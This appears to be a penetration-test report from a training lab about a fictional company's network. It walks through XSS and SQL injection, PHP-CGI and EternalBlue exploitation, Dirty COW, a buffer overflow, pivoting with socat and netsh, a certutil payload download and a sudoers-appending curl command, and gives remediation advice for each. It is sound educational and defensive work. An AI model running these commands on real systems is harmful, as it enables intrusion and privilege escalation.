Els PTP
Els PTP
Els PTP
Table of Contents
1. Introduction ........................................................................................................... 3
1.1. Scope of Engagement ...................................................................................... 3
1.2. Structurer of Report ........................................................................................ 5
2. Executive Summary ............................................................................................... 5
3. Vulnerability report ................................................................................................ 7
3.1. Web server ....................................................................................................... 7
3.1.1. Cross Site Script (XSS) Injection ............................................................................................. 9
3.1.2. Structure Query Language (SQL) injection ..........................................................................16
3.1.3. PHP Common Gateway Interface (CGI) ...............................................................................21
3.1.4. File Upload Restrictions Bypass ...........................................................................................25
3.1.5.1 Privilege Escalation(Dirty Cow) ..........................................................................................29
1
3.1.5.3 Privilege Escalation(Sudo) .................................................................................................31
3.1.5.5 Information Disclosure ......................................................................................................33
3.1.5.6 Information Disclosure ......................................................................................................33
3.2. 10.185.10.27 .................................................................................................. 34
3.2.1. EternalBlue ..........................................................................................................................34
3.3. Developer machine ........................................................................................ 37
3.4. 10.185.10.55 .................................................................................................. 41
3.4.1. Buffer Over Flow (BOF) ........................................................................................................41
3.5. Demilitarized Zone (DMZ) .............................................................................. 54
3.5.1. Privilege Escalation ..............................................................................................................56
4. Remediation Plan ................................................................................................ 59
5. Conclusion ........................................................................................................... 62
6. References ........................................................................................................... 62
1.Introduction
This Report is done for FooPhones Company and only meant
people to read this are the managers of the company or the
ones meant to remediate the vulnerabilities found.
Scope of Engagement:
2
-Domain : foophonesels.com
-Organization Network: 10.185.10.0/23
-Corporate Network: 10.185.10.0/24
-DMZ: 10.185.11.0/24
Here we can see that we are facing a new Challenge , because as a penetration tester
you have to reach to the place where everyone is looking for, the DMZ (Demetallized Zone) ,
This zone got the most important information and it is the most critical place in every
3
Organization and the same for this organization because it usually has something important so
you can’t reach it except by being some trusted machine, so our duty is to gain control over
some trusted machine on every network so we can move from a machine to another and from
network to another till we reach the DMZ ,which is our goal
2. Executive Summary
5
3.Vulnerability Report
This is the Web Server and The First interaction with the users,As
long as it is not Secured well , we can get an initial Foothold from
here,Usually We Start Enumeration and Scan using tools like Nmap,
Nikto, on the Web Server we are using Nmap and Nikto for
Enumeration
So we use Nmap Using This Command :
Nmap -A -sV -vv -p 1-10000 10.90.60.80 And
the Output is as below:
6
Figure (2) Nmap-output
We Got 3 ports but what was not protected was 80 and 5923 And
we run Nikto, but on Port 80 it didn’t get anything useful but On
Port 5923 it got amazing results by Running:
Nikto -h http://10.90.60.80:5923
7
Figure (3) Nikto-output
Impact Medium
CVE N/A
8
Exploitation
Now we are just running Scans but during that I have visited the Website on the PORT
80 and we found our first XSS!
When We visit the Page : http://foophonesels.com it redirects to this page :
“foophonesels.com/welcome.php?welcome=<h2>Welcome! <br><br>We're currently working
on the new website, but check back soon!</h2>”
By injecting the parameter welcome with our XSS payload we will be able to get our payload.
“foophonesels.com/welcome.php?welcome=<script>alert(‘xss’)</script>”
On The port 5923 we go to the page /services.php and we intercept the request to modify
the Input over burpsuite !
9
Let me make this easier by using burpsuite to test for XSS
Service-Type parameter XSS
10
And this is for the Service Name Field!
11
/services.php?serviceid=3
12
3.1.1.2 Remediation:
Remediation of XSS is done in more than 1 way ,and waf alone is not enough,
According to Checkmarks website you can use one of the 3 methods below!
13
1. Escaping
The first method you can and should use to prevent XSS vulnerabilities from
appearing in your applications is by escaping user input. Escaping data means
taking the data an application has received and ensuring it’s secure before
rendering it for the end user. By escaping user input, key characters in the data
received by a web page will be prevented from being interpreted in any malicious
way. In essence, you’re censoring the data your web page receives in a way that
will disallow the characters – especially < and > characters – from being rendered,
which otherwise could cause harm to the application and/or users.
2. Validating Input
3. Sanitizing
A third way to prevent cross-site scripting attacks is to sanitize user input. Sanitizing
data is a strong defense, but should not be used alone to battle XSS attacks. It’s totally possible
you’ll find the need to use all three methods of prevention in working towards a more secure
application. Sanitizing user input is especially helpful on sites that allow HTML markup, to
ensure data received can do no harm to users as well as your database by scrubbing the data
clean of potentially harmful markup, changing unacceptable user input to an acceptable
format.
14
3.1.2 Sql Injection
There are 2 sql injections , one on the login page and one over the “/serviceid=3”
page, how you find about these?
All you need is error to indicate that there is a database behind.
Description SQL injection is a web security
vulnerability that allows an attacker to
interfere with the queries that an
application makes to its database. It
generally allows an attacker to view data
that they are not normally able to retrieve.
This might include data belonging to other
users, or any other data that the
application itself is able to access. In
many cases, an attacker can modify or
delete this data, causing persistent
changes to the application's content or
behavior.
Impact Critical
CVE N/A
Exploitation
15
Fuzzing
So this is the First Place we got Sqlinjection on, using burpsuite and
sqlmap you can make one sqlinjection by capturing the request on
burpsuite
16
Then putting it on a text file , and sending this to sqlmap, By
using the following command:
Sqlmap –batch -r sqltry.txt –dump-all
17
By using sqlmap to get a shell on the webserver
Output of sqlmap
18
3.1.2.2 Remediation
There are lots of ways to mitigate Sql injection but the most beloved one to
all the technical people is the input validation, Input Validation:
Validation shouldn’t only be applied to fields that allow users to type in input,
meaning you should also take care of the following situations in equal measure:
• Use regular expressions as whitelists for structured data (name, age, income,
survey response, zip code, etc.) to ensure strong input validation.
• In case of a fixed set of values (drop-down list, radio button, etc.), determine
which value is returned. The input data should match one of the offered
options exactly.
19
3.1.3 php Common Gatway Interface(CGI)
Description sapi/cgi/cgi_main.c in PHP before
5.3.12 and 5.4.x before 5.4.2, when
configured as a CGI script (aka
phpcgi), does not properly handle
query strings that lack an = (equals
sign) character, which allows remote
attackers to execute arbitrary code
by placing command-line options in
the query string, related to lack of
skipping a certain php_getopt for the
'd' case.
Impact Critical
CVE CVE-2012-1823
20
Usually it is known if the “-s” exist as a parameter on the URL as Nikto
indicated
And as we can see the source code exist here by adding -s so the
vulnerability exists!
21
3.1.3.1 Exploitation
There are 2 ways to exploit this vulnerability, one manually by
adding -d instead of -s and running the commands or using Metasploit, I
have chosen the second way because I need meterpreter later.
3.1.3.2 Remediation
Upgrade to PHP version 5.3.12, PHP versio 5.4.2 or newer. As a workaround add
the following ‘mod_rewrite’ rule: RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1?
22
3.1.4 File Upload Restriction Bypass
Description Uploaded files represent a significant
risk to applications. The first step in
many attacks is to get some code to
the system to be attacked. Then the
attack only needs to find a way to get
the code executed. Using a file
upload helps the attacker accomplish
the first step.
Impact High
CVE N/A
23
And I find it on “/pdf”
24
I got remote command execution using file upload
3.1.4.2 Remediation
Lots of ways to mitigate this , let’s speak about some few ways
-“Content-Type” Header Validation
25
Whitelisting File Extensions
Applications that check the file extensions using a whitelist method also
need to validate the full filename to prevent any bypass.
26
Description (Dirty copy-on-write) is a computer security
vulnerability for the Linux kernel that affects all
Linux-based operating systems
including Android that use older versions of the
Linux kernel. It is a local privilege escalation bug
that exploits a race condition in the
implementation of the copy-on-write mechanism
in the kernel's memory-management subsystem.
The vulnerability was discovered by Phil Oester
Impact Critical
CVE CVE-2016-5195
3.1.5.1 Exploitation
Well, we have found 3 ways to get inside, let’s use one of them
(sqlmap sqli , Metasploit-php-cgi , file upload), I will use metasploit module.
After I drop into a shell I try to execute the exploit so I need a shell like real user,
which is called TTY shell by using python:
“ python -c 'import pty; pty.spawn("/bin/sh")' “
And by typing uname -a we can check if the version of the linux exploitable or not!
Now I fire up my python simple Http Server to upload files to my victim machine
By using :
“ python -m SimpleHTTPServer “
and then we go to our victim machine and download our exploit dirty.c
27
Here after we downloaded dirty.c (dirty cow exploit)
Compile it by using :
“ gcc -pthread dirty.c -o dirty -lcrypt “
then we run it ” ./dirty password”
and now we have a new user on the group of root which is called firefart so
all we do is change to this user using su!
“ Su firefart “ then enter
your password
and you will become a user firefart which is root
28
3.1.5.2 Remediation
Download the latest ubuntu or Linux version and use it , this exploit only
affects the old versions
29
And then we got root
3.1.5.4 Remediation
The low privileged user shouldn’t be able to run commands as a root under
any circumstances, and shouldn’t be able to modify a file that belongs to root or
in the root directory
30
3.2. 10.185.10.27
IP: 10.185.10.27
OS: Windows 7
Port Number Service Running
135 SMB
139 SMB
445 Netbios
3.2.1 Eternalblue
31
Description EternalBlue is the name given to a
software vulnerability in Microsoft's
Windows operating system. The tech
giant has called it EternalBlue
MS17010 and issued a security
update for the flaw on March 14. The
patch was issued before the
WannaCry ransomware spread
around the world and those who had
updated early would have been
protected.
Impact Critical
CVE 2017-0144
3.2.1.1 Exploitation
in order to gain access over 10.185.10.0/24 subnet I had to run autoroute
to route through the pawned machine which is the linux machine (the web
server) so I had to run autoroute from meterpreter
“ autoroute -s 10.185.10.0/24 “
Now let’s see if someone is alive on the next subnet so we use ping_sweep to
check it out
32
And we find 3 hosts :
10.185.10.1 10.185.10.27 10.185.10.34
I suppose the first one is the gateway so I didn’t find anything useful regarding it
but the other 2 were interesting, I scanned them first using portscan module then
scanned them again using the auxiliary module :
Port Scan Module
“auxiliary/admin/smb/ms17_010_command”
Then I went for eternalblue exploit which was psexec module using the following
commands on Metasploit:
33
“use exploit/windows/smb/ms17_010_psexec “ “ set RHOSTS 10.185.10.27 “ “ set
payload windows/meterpreter/bind_tcp” “ run “
And we are in :
34
it would lead to the next target
3.2.1.2 Remediation
In case you want to keep using windows 7 it has to be patched according to Microsoft articles:
https://support.microsoft.com/en-us/help/4023262/how-to-verify-that-ms17-010-is-installed
but it is better to upgrade to the latest version of windows 10 or currently supported Operating System
Exploitation!
35
we use the same module of Metasploit to login to the machine
10.185.10.34 as it has proven to be vulnerable , but there is a slight
difference as it needs to add username and password first to exploit
this and luckily we have them from the Web-Server and the
username was share_admin while the password was
“Wind0wz87!kj “
let’s start the pawning using the same Metasploit module
36
3.3.1 Remediation
The Same Steps done for 10.185.10.27 should be done for this
machine too
Then we found these 3 files and they indicate a connection to another
machine which is 10.185.10.55
37
“ exploit/windows/gather/arp_scanner”
38
3.4. 10.185.10.55
Impact High
CVE N/A
39
After fuzzing with mona by typing !mona pc 200 I found out it is a buffer
overflow and 200 works as a buffer overflow no problem, but I did it in
2 ways so I will be explaining what I did,
First I used Metasploit pattern_create and mona to validate my output
I add the junk pattern and send the exploit to check my results
40
Now I have to get the offset so I can use 2 ways :
1- Using Mona :
2- With Metasploit
Using Mona is like the following :
41
And still I get 146 , so afterall I can use 146 Now
my exploit is like that :
42
and seems like we did
And now we add the bad characters to validate which one Is the bad
one,
And we have “ \x00” and “\x0A”
And I want the jmp esp address, so I use mona to get it.
Now the jmp esp address as shown below is :
43
“080414c3 “
The Application is a little endian so I type it on reverse:
"\xc3\x14\x04\x08"
So this is our jumping address, I made a break point and ran it over and over to
make sure it works, and it did, now the last hard part, the shell , how I can get it
while it is on another subnet and It has to pass through 2 machines first!
So I figured out I have to get it on one of my pawned machines , either Developer
machine or 10.185.10.27.
44
So this is the exploit without any shell
45
This is a little tricky, I have to make the Connection go by using my reverse shell
from “ 10.185.10.55 10.185.10.34 10.90.60.80 my-ip “
I can do that using more than one way, using iptables , or using run autoroute -s
on the meterpreter or using the manual way , but I choose the manual way
because I couldn’t make the other 2 work.
Using netsh on windows and netcat or socat on linux
On windows 10.185.10.34:
“netsh interface portproxy add v4tov4 listenaddress=10.185.10.34 listenport=1313
connectaddress=10.90.60.80 connectport=1313 “
46
“socat TCP-LISTEN:1313,bind=10.90.60.80,fork,reuseaddr
TCP:172.16.40.5:1313&”
Why socks4a to bind all of this together, why 0.0.0.0 for any interface , I can make
it 127.0.0.1 or whatever I want
47
And on the file “/etc/proxychains.conf”
We add it
Now Let’s run our exploit using proxychains but first let’s configure our listener on
Metasploit
48
And we are inside as “NT Authority\System”
Now I do the Same to get a Reverse_Shell over meterpreter but this time over
port 3030
49
We make a shell using msfvenom and send it using python simple http server
50
“certutil -urlcache -split -f http://10.185.10.55:1313/exp.exe C:\\exp.exe”
And finally we got a Reverse Shell Over Meterpreter, now let’s Enumerate the
machine to get as maximum information as we can
3.4.2 Remediation
Use a more modern language like C# hence it has a GDBC it is almost
immune to such attacks ,and you always have to detect your vulnerabilities
before someone else does, and avoid dangerous methods and parameters, like in
C “strcpy “ you always have to review your code or give it to someone to review it
before trying to use it
IP: 10.185.11.127
OS: Linux
Port Number Service
SSH 22
51
What we are able to find here is vulnerable WinSCP
Using Metasploit again
52
3.5.1. Privilege Escalation
We got Username and Password!
I try to find more hosts
I think we can use proxychains now to login to Jeremy’s ssh over the
DMZ
53
And we are in,
Now let’s enumerate jeremy’s directory
54
So I can run a file as a root through the localhost Ok,
let’s try to make the Sudoers rule (ALL:ALL)..
“curl -d "z=echo '%jeremy ALL=(root:root) ALL' >> /etc/sudoers"
http://127.0.0.1:8989/z-cmd.php” And finally we are root!
55
4.Remediation Plan
As for the web server Always be sure to use the latest
versions of everything , for example the PHP version, make sure
to use input validation and never trust the user’s input,and this
will solve all of the problems regarding the XSS,Sql Injection,
File Upload, only if you validate the input
57
10.90.60.80 80, 5923 http YES PHP-CGI ,
XSS, Sql Injection,
unrestricted File
Upload,
Information
Disclosure
Privilege Escalation
10.185.10.27 135, 139, YES
RPC, Eternal-Blue ,
445
NETBIOS, Information
SMB, Disclosure
RTSP
10.185.10.34 135, 139, YES Eternal -Blue,
RPC,
445 Net BIOS,
SMB
10.185.10.1 135 RPC NO
58
and make a regular basis penetration test to make sure everything is
running well , and after all I deleted all my footholds and
Cleaned the House by resetting the labs,
Thanks
6. References
•
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
•
https://www.checkmarx.com/2017/10/09/3-ways-prevent-xss/
•
https://en.wikipedia.org/wiki/Dirty_COW
•
https://beyondsecurity.com/scan-pentest-network-vulnerabilities-php-cgi-query-string-codeexecution.html
•
https://owasp.org/www-community/attacks/SQL_Injection
•
https://owasp.org/www-community/attacks/xss/
•
https://en.wikipedia.org/wiki/EternalBlue
•
https://netsec.ws/?p=337
59